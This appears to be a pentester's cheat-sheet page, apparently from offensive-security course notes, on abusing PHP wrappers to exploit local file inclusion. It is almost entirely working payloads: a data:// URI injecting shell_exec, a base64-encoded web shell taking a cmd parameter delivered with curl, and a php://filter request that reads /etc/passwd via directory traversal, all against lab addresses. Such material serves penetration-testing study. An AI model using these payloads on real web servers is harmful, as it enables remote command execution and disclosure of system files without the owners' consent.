PHP Wrappers
PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion. These filters give us additional flexibility when attempting to inject PHP code via LFI vulnerabilities.
Identifying Vulnerability
http://192.168.112.132/menu.php?file=data:text/plain,helloworldIF this payload return helloworld then we can use php wrappers to execute php commands too
Executing commands
http://192.168.112.132/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>Base64 Version of Above
Convert to base64
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==Now use that base64 into the data filter and it has a cmd parameter to accept commands:
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"php filter
Another PHP wrapper, php://filter in this example the output is encoded using base64, so you’ll need to decode the output.
http://192.168.155.131/fileincl/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwdLast updated